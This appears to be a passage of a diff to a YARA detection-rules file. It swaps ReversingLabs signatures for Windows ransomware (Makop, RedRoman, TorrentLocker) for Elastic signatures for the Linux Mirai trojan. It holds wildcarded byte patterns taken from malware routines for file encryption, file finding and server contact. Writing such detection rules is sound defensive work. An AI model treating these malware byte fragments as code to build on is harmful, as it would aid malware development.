-            ?? 8B 88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 47 8B 4D ?? 81 E1 ??
-            ?? ?? ?? 74 3C 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ??
-            50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
-            FF D0 EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D ?? ?? 75 20 68 ?? ?? ?? ?? 8B
-            45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0
-            8B 45 ?? 8B E5 5D C3
-        }
+		$a = { 00 6C 72 00 00 50 E8 4E 0C 00 00 EB 0E 5A 58 59 97 60 8A 54 }
 
 	condition:
-		uint16(0)==0x5A4D and ((($v30_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_1_find_file_1 and $v30_1_find_file_2 and $v30_1_encrypt_file_1 and $v30_1_encrypt_file_2 and $v30_1_encrypt_file_3) or (($v30_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v30_2_encrypt_file_1 and $v30_2_encrypt_file_2 and $v30_2_encrypt_file_3) or (($v20_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_2_find_file_1 and $v30_2_find_file_2 and $v20_1_encrypt_file_1 and $v20_1_encrypt_file_2 and $v20_1_encrypt_file_3) or (($v30_entrypoint at pe.entry_point) and $v30_api_load and $v30_calculate_hash and $v30_dll_load and $v30_3_find_file_1 and $v30_3_find_file_2 and $v30_3_encrypt_file_1 and $v30_3_encrypt_file_2 and $v30_3_encrypt_file_3))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Makop : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_E3E6D768 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Makop ransomware."
-		author = "ReversingLabs"
-		id = "9b7d42f3-0417-5228-8b25-244224cbc414"
-		date = "2020-10-30"
-		modified = "2020-10-30"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Makop.yara#L1-L99"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0ff4739d32b4a775d07a5f22d551ed67025681d4986e4404c9a01ad4078468f3"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "e3e6d768-6510-4eb2-a5ec-8cb8eead13f2"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L696-L714"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b505cb26d3ead5a0ef82d2c87a9b352cc0268ef0571f5e28defca7131065545e"
+		logic_hash = "b848c7200f405d77553d661a6c49fb958df225875957ead35b35091995f307d1"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Makop"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "ce11f9c038c31440bcdf7f9d194d1a82be5d283b875cc6170a140c398747ff8c"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files_p1 = {
-            8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 56 8B F8 6A ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 50
-            FF 15 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 5F 5E 5B 8B E5 5D C3 33 F6 89 74 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? 8D 64 24 ??
-            66 8B 44 24 ?? 66 85 C0 0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 8B 44 24 ?? 66 85 C0
-            0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ??
-            EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 8D 54 24 ?? 2B C2 D1 F8 83
-            E8 ?? 85 F6 8B F8 89 7C 24 ?? 75 ?? 8B 45 ?? 05 ?? ?? ?? ?? 03 C0 0F 84 ?? ?? ?? ??
-            50 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 8B F0 0F 84 ?? ?? ??
-            ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 38 85 FF 74 ?? 8B 1F 8D 54 24
-            ?? 8B CA 2B D9 8D 49 ?? 0F B7 04 13 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 0F
-            B7 C8 0F B7 02 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 83 C2 ?? 66 85 C9 0F B7
-            C0 74 ?? 66 3B C8 74 ?? 0F B7 D0 0F B7 C1 2B C2 0F 84 ?? ?? ?? ?? 8B 7F ?? 85 FF 75
-            ?? 8B 7D ?? 8B 55 ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8B 4D ?? 8D 5C 4E ?? BA
-            ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 1C 56 8D 54 24 ?? BF ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4D ?? 8D 54 08 ?? 8B 45 ?? 52 56 50 E8
-        }
-		$find_files_p2 = {
-            83 C4 ?? E9 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ??
-            80 79 ?? ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 03 FA 81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B
-            15 ?? ?? ?? ?? C6 44 24 ?? ?? 8B 7D ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8A 44
-            24 ?? 84 C0 75 ?? 8B 55 ?? 83 C7 ?? 8D 5E ?? E8 ?? ?? ?? ?? 8A 44 24 ?? 8A C8 8B 54
-            24 ?? F6 D9 1B C9 83 E1 ?? F6 D8 8B F1 8D BE ?? ?? ?? ?? 1B C0 83 E0 ?? 83 C0 ?? 03
-            45 ?? 8D 04 42 89 44 24 ?? 8D 58 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8D BE
-            ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 8B 74 24 ?? 8B 45 ?? 77 ??
-            3B 70 ?? 77 ?? B1 ?? EB ?? 8B 55 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 32 C9 88 48 ?? 8B
-            4C 24 ?? F6 C1 ?? 74 ?? C6 40 ?? ?? 89 48 ?? EB ?? C6 40 ?? ?? 50 89 50 ?? 89 70 ??
-            8B 44 24 ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ??
-            50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? EB ?? 56 6A ?? FF 15
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
-        }
-		$encrypt_files = {
-            8B 50 ?? 8B 00 83 EC ?? 55 8B 2D ?? ?? ?? ?? 56 57 6A ?? 8B F9 8D 4C 24 ?? 51 52 50
-            53 FF D5 85 C0 0F 84 ?? ?? ?? ?? 8B 57 ?? 8B 47 ?? 33 F6 56 8D 4C 24 ?? 51 52 50 53
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? B0 ?? 5F 5E 5D 83
-            C4 ?? C3 3B 47 ?? 73 ?? 8B C8 83 E1 ?? 74 ?? BE ?? ?? ?? ?? 2B F1 8B 4F ?? 56 03 C8
-            6A ?? 51 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B 4F ?? 03 C6 50 8D 54 24 ?? 52 51 6A
-            ?? 6A ?? 89 44 24 ?? 8B 44 24 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
-            8B 4C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 51 52 53 FF D5 85 C0 74 ?? 8B 4C 24 ?? 8B 57 ??
-            8B 3D ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 03 CE 51 52 53 FF D7 85 C0 74 ?? 8B 44 24 ??
-            8D 0C 30 8B 44 24 ?? 3B C1 72 ?? 01 44 24 ?? 8B 44 24 ?? 8B 50 ?? 8B 00 83 54 24 ??
-            ?? 6A ?? 6A ?? 52 50 53 FF D5 85 C0 74 ?? 6A ?? 8D 4C 24 ?? 51 6A ?? 8D 54 24 ?? 52
-            53 FF D7 85 C0 74 ?? 83 7C 24 ?? ?? 0F 83 ?? ?? ?? ?? 5F 5E 32 C0 5D 83 C4 ?? C3
-        }
-		$enum_network_resources = {
-            55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            8B F0 85 F6 89 74 24 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? 8D 44 24 ?? 50 51 6A ??
-            6A ?? 57 E8 ?? ?? ?? ?? 85 C0 74 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B
-            7D ?? 68 ?? ?? ?? ?? 6A ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 52 56 8D 44 24 ?? 50 51 E8 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 85 C0 75 ?? 8B 54 24 ?? 8B 45 ?? 52 50 EB ?? 8B 4C 24
-            ?? 8B 50 ?? 51 52 E8 ?? ?? ?? ?? 33 DB 83 C4 ?? 39 5C 24 ?? 76 ?? 83 C6 ?? 8D 49 ??
-            8B 46 ?? 85 C0 8B C8 75 ?? B9 ?? ?? ?? ?? 8B 46 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 51 8B
-            0E 51 50 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? A8 ?? 74 ?? 8B 56 ?? 85 D2 74 ?? 85 FF 7E
-            ?? 8B 45 ?? 85 C0 74 ?? 8B 40 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 83
-            EF ?? 57 8D 46 ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? F6 06 ?? 74 ?? 50 E8 ?? ?? ??
-            ?? 8B 56 ?? 8B 45 ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C3 ?? 83 C6 ?? 3B 5C 24 ?? 0F
-            82 ?? ?? ?? ?? 8B 74 24 ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
-        }
+		$a = { 7E 14 48 89 DF 48 63 C8 4C 89 E6 FC F3 A4 41 01 C5 48 89 FB }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_network_resources) and ( all of ($find_files_p*)) and ($encrypt_files)
+		all of them
 }
-rule REVERSINGLABS_Win64_Ransomware_Redroman : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_520Deeb8 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects RedRoman ransomware."
-		author = "ReversingLabs"
-		id = "c860586a-fa50-5bb4-a3b4-13506f9d6030"
-		date = "2021-05-10"
-		modified = "2021-05-10"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.RedRoman.yara#L1-L82"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6fb2ac0e7f7ac095766e27c057e5124406dc493c08d01a7e5381403d794c7240"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "520deeb8-cbc0-4225-8d23-adba5e040471"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L716-L733"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "671c17835f30cce1e5d68dbf3a73d340069b1b55a2ac42fc132c008cb2da622e"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "RedRoman"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ??
-            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ??
-            ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 C7 84
-            24 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 84 24 ?? ??
-            ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 6B C9 ?? 48 89 84 0C ?? ?? ?? ?? 48 C7 84 24
-            ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 83 BC 04 ??
-            ?? ?? ?? ?? 74 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84
-            24 ?? ?? ?? ?? EB ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 89 01 48 8B 44 24 ?? 48 8B
-            40 ?? 48 83 38 ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? 48 6B C0 ?? 48 83 BC 04 ?? ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 8B
-            8C 04 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8
-        }
-		$encrypt_files_p2 = {
-            4C 8D 05 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89
-            55 ?? 48 89 45 ?? EB ?? 31 C0 41 89 C0 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89
-            45 ?? EB ?? 48 8B 45 ?? 48 83 F8 ?? 74 ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? EB ?? EB ?? 48 81 C4 ?? ?? ?? ?? 5D C3 48 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 48 8B
-            85 ?? ?? ?? ?? 48 85 C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ??
-            ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
-            ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ??
-            ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ??
-            48 89 85 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ??
-            48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 85
-            C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
-            ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
-            ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ??
-            ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ??
-            48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 8D
-        }
-		$find_files = {
-            48 8D 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D9 31 D2 E8 ?? ?? ?? ?? 48 8B 0F 48
-            89 DA E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 8D B4 24 ?? ?? ?? ?? 48 8D 9C 24 ??
-            ?? ?? ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? EB ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0F 48
-            89 DA E8 ?? ?? ?? ?? 85 C0 74 ?? 66 83 BC 24 ?? ?? 00 00 ?? 75 ?? 0F B7 84 24 ?? ??
-            ?? ?? 66 85 C0 74 ?? 66 83 F8 ?? 75 ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? 48 8B 47 ??
-            F0 48 83 00 ?? 0F 8E ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 41
-            B8 ?? ?? ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? 48 8D 4E ?? 48 8D 94 24
-            ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48
-            C7 06 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? C6 46 ?? ?? 89 46 ?? 48
-            89 F0 0F 28 B5 ?? ?? ?? ?? 0F 28 BD ?? ?? ?? ?? 44 0F 28 85 ?? ?? ?? ?? 44 0F 28 8D
-            ?? ?? ?? ?? 44 0F 28 95 ?? ?? ?? ?? 44 0F 28 9D ?? ?? ?? ?? 44 0F 28 A5 ?? ?? ?? ??
-            44 0F 28 AD ?? ?? ?? ?? 44 0F 28 B5 ?? ?? ?? ?? 44 0F 28 BD ?? ?? ?? ?? 48 8D A5 ??
-            ?? ?? ?? 5B 5F 5E 41 5E 5D C3 0F 0B
-        }
+		$a = { ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Torrentlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_77137320 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects TorrentLocker ransomware."
-		author = "ReversingLabs"
-		id = "64bdb0db-ea0c-5a0d-9d3e-db1df86c132b"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.TorrentLocker.yara#L1-L98"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "f1aa523fa95e142b7e421286d26918e3da4bd3e268fef3f98f00820296291bfc"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "77137320-6c7e-4bb8-81a4-bd422049c309"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L735-L753"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9"
+		logic_hash = "ee48e0478845a61dbbdb5cc3ee5194eb272fcf6dcf139381f068c9af1557d0d4"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "TorrentLocker"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$tlocker_ep = {
-          68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 05 E8 ?? ?? ?? ?? 33 C0 C3
-      }
-		$tlocker_contact_server_1 = {
-          55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D
-          ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ??
-          8B 4D ?? 8D 55 ?? 52 6A ?? BB ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 2C 01 00 00 8B BE
-          ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ?? 68
-          ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50 8D
-          4D ?? 51 6A ?? 56 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 16 81 4D ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 6A ?? 56 FF
-          15 ?? ?? ?? ?? 8B 45 ?? 57 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 38 6A ?? 8D 4D ?? 51 8D 55 ?? 52 68 ?? ?? ?? ??
-          56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 10 81 7D ?? ?? ?? ?? ?? 75 07 C7 45 ?? ?? ?? ??
-          ?? 8B 3D ?? ?? ?? ?? 56 FF D7 EB 06 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-          ?? ?? ?? FF 15 ?? ?? ?? ?? 53 8B F0 FF D7 85 F6 74 06 8B 55 ?? 52 FF D7 8B 75 ?? 8B 0D ?? ?? ?? ?? 33 C0 83 7D ?? ?? 56
-          0F 94 C0 6A ?? 51 8B F8 FF 15 ?? ?? ?? ?? 85 FF 75 10 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 9E FE FF FF 5F 5E 5B 8B E5 5D
-          C3
-      }
-		$tlocker_contact_server_2_1 = {
-          55 8B EC 83 EC ?? 8D 45 ?? 50 8D 4D ?? 51 B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 21 83 7D
-          ?? ?? 8B 45 ?? 75 05 8B 10 89 55 ?? 85 C0 74 0F 50 A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 53 56 57 8D 9B ?? ?? ?? ??
-          8B 4D ?? 8D 55 ?? 52 6A ?? BF ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 89 75 ?? 85 F6 0F 84 E5 01 00 00 BF ??
-          ?? ?? ?? 39 3D ?? ?? ?? ?? 74 11 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B
-          9E ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 EB 00 00 00 6A ?? 68 ?? ?? ?? ??
-          68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 89 00 00 00 8D 45 ?? 50
